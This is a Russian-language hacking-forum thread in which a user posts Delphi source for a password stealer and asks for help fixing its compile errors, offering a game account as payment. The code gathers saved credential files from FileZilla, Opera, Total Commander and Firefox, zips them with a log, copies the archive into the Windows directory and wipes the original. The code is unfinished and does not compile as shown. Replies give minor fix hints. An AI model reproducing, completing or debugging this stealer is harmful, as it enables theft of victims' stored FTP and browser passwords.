[Помогите!] Вопрос по устранению ошибок

[basket71]

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, ZipMstr, ShlObj;

type
  TForm1 = class(TForm)
    tmr1: TTimer;
    ZipMaster1: TZipMaster;
    procedure TTimer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure WipeFile(FileName: string);
 var
   buffer: array [0..4095] of Byte;
   max, n: LongInt;
   i: Integer;
   fs: TFileStream;

   procedure RandomizeBuffer;
   var
     i: Integer;
 begin
     for i := Low(buffer) to High(buffer) do
       buffer[i] := Random(256);
   end;
 begin
   fs := TFilestream.Create(FileName, fmOpenReadWrite or fmShareExclusive);
   try
     for i := 1 to 3 do
     begin
       RandomizeBuffer;
       max := fs.Size;
       fs.Position := 0;
       while max > 0 do
       begin
         if max > SizeOf(buffer) then
           n := SizeOf(buffer)
         else
           n := max;
         fs.Write(Buffer, n);
         max := max - n;
       end;
       FlushFileBuffers(fs.Handle);
     end;
   finally
     fs.Free;
   end;
   Deletefile(FileName);
 end;

//Application Data 
function GetAppDataPath:string;
var 
ppID: PItemIdList;
szBuff: array[0..255] of Char;
begin
if SHGetSpecialFolderLocation(0, CSIDL_APPDATA, ppID) = NOERROR then
begin
SHGetPathFromIDList(ppID, szBuff);
Result := szBuff;
end; 
end; 

//??? ????????? ??? ????? ???????...
var
id:integer;
ss, WinDir:string;
opentxt, log: TStringList;
WindirP: PChar;
begin 

  WinDirP := StrAlloc(MAX_PATH);
  Res := GetWindowsDirectory(WinDirP, MAX_PATH);
  if Res > 0 then
  WinDir := StrPas(WinDirP);

log:= TStringList.Create;
opentxt:= TStringList.Create; 

log.Add('['+timetostr(time)+'] - Èäåò ïîèñê ïàðîëåé');
id:=RandomPassword(6);
TZipMaster.ZipFileName:='report_('+datetostr(date)+')_'+id+'.zip';

log.Add('['+timetostr(time)+'] - Ãåíåðàöèÿ èìåíè');

log.Add(''); 

begin
//FileZila 
if FileExists(GetAppDataPath+'\FileZilla\sitemanager.xml') or FileExists('C:\Documents and Settings\TRIALANET\Application Data\FileZilla\recentservers.xml')
then 
begin 
log.Add('['+timetostr(time)+'] - FileZilla: OK!');
TZipMaster.FSpecArgs.Add(GetAppDataPath+'\FileZilla\sitemanager.xml');
TZipMaster.FSpecArgs.Add(GetAppDataPath+'\FileZilla\recentservers.xml');
end
else 
log.Add('['+timetostr(time)+'] - FileZilla(Îøèáêà): Ôàéë íåíàéäåí!');
end;

log.Add(''); 

begin 
//Opera 
if FileExists(GetAppDataPath+'\Opera\Opera\wand.dat')
then 
begin 
log.Add('['+timetostr(time)+'] - Opera: OK!');
TZipMaster.FSpecArgs.Add(GetAppDataPath+'\Opera\Opera\wand.dat');
end 
else
log.Add('['+timetostr(time)+'] - Opera(Îøèáêà): Ôàéë íåíàéäåí!');
end; 

log.Add(''); 

begin
//Total Commander 
if FileExists('C:\Program Files\Total Commander\wcx_ftp.ini') 
then
begin 
log.Add('['+timetostr(time)+'] - Total Commander: OK!'); 
TZipMaster.FSpecArgs.Add('C:\Program Files\Total Commander\wcx_ftp.ini');
end 
else 
log.Add('['+timetostr(time)+'] - Total Commander(Îøèáêà): Ôàéë íåíàéäåí!');
end; 

log.Add(''); 

begin 
//FireFox
if FileExists(GetAppDataPath+'\Mozilla\Firefox\profiles.ini') 
then
begin 
opentxt.LoadFromFile(GetAppDataPath+'\Mozilla\Firefox\profiles.ini');
ss:=opentxt.Text; 
Delete(ss,1,pos('Path=',ss)+length('Path=')-1);
Delete(ss,pos('default',ss),length(ss)); 
log.Add('['+timetostr(time)+'] - Firefox: OK!');
TZipMaster.FSpecArgs.Add(GetAppDataPath+'/Mozilla/Firefox/'+ss+'default/signons.sqlite');
TZipMaster.FSpecArgs.Add(GetAppDataPath+'\Mozilla\Firefox\'+ss+'default\key3.db');
end
else
log.Add('['+timetostr(time)+'] - Firefox(Îøèáêà): Ôàéë íåíàéäåí!');
end;

end

log.SaveToFile(GetAppDataPath+'\log_'+id+'.log'+);
ZipMaster1.FSpecArgs.Add(GetAppDataPath+'\log_'+id+'.log');

ZipMaster1.Add;
WindowsCopyFile(ZipMaster1.ZipFileName, WinDir);
WipeFile(ZipMaster1.ZipFileName);


procedure TForm1.TTimer(Sender: TObject);
begin
Application.MainForm.Visible := True;
if IsWindowVisible(Application.Handle) then
ShowWindow(Application.Handle, SW_SHOW);
end;

end.

Помогите устранить ошибки:

Цитата: [Warning] Unit1.pas(84): Unsafe type 'PChar' [Warning] Unit1.pas(87): Unsafe type 'WindirP: PAnsiChar' [Error] Unit1.pas(88): Undeclared identifier: 'Res' [Warning] Unit1.pas(88): Unsafe type 'WindirP: PAnsiChar' [Warning] Unit1.pas(89): Comparing signed and unsigned types - widened both operands [Warning] Unit1.pas(90): Unsafe type 'WindirP: PAnsiChar' [Error] Unit1.pas(96): Undeclared identifier: 'RandomPassword' [Error] Unit1.pas(97): Method identifier expected [Error] Unit1.pas(97): Incompatible types: 'String' and 'Integer' [Error] Unit1.pas(109): Method identifier expected [Error] Unit1.pas(110): Method identifier expected [Error] Unit1.pas(124): Method identifier expected [Error] Unit1.pas(138): Method identifier expected [Error] Unit1.pas(156): Method identifier expected [Error] Unit1.pas(157): Method identifier expected [Error] Unit1.pas(165): '.' expected but identifier 'log' found [Fatal Error] Project1.dpr(5): Could not compile used unit 'Unit1.pas'

Буду очень благодарен, кто устранит все ошибки. Могу отдать аккаунт в Point Blank 1 ромб 2 года
Ответ попрошу написать или в теме, или в скайп prizrak71rus
P.S. На иероглифы типа Total Commander(Îøèáêà): Ôàéë íåíàéäåí! и т.п. не обращять внимание, т.к. в коде все нормально.
Просто сюда скопировалось как-то неочень

[Skrillex3]

Цитата: Сообщение от basket71 [Error] Unit1.pas(97): Incompatible types: 'String' and 'Integer'

эта ошибка решается в помощью процедуры StrToInt или IntToStr взависимости от переменных используемых , насчёт остальных ошибок хз , но скорее тебе рано ещё работать с этим кодом.
Я так просмотрел быстренько код , неужели инжект в браузер?

[VeTaL_UA]

basket71, ты хоть бы строки, на которых ошибки выбивают, дал

[R.A.Z.O.R.]

В гугле целый ряд тем, где обсуждают эти ошибки...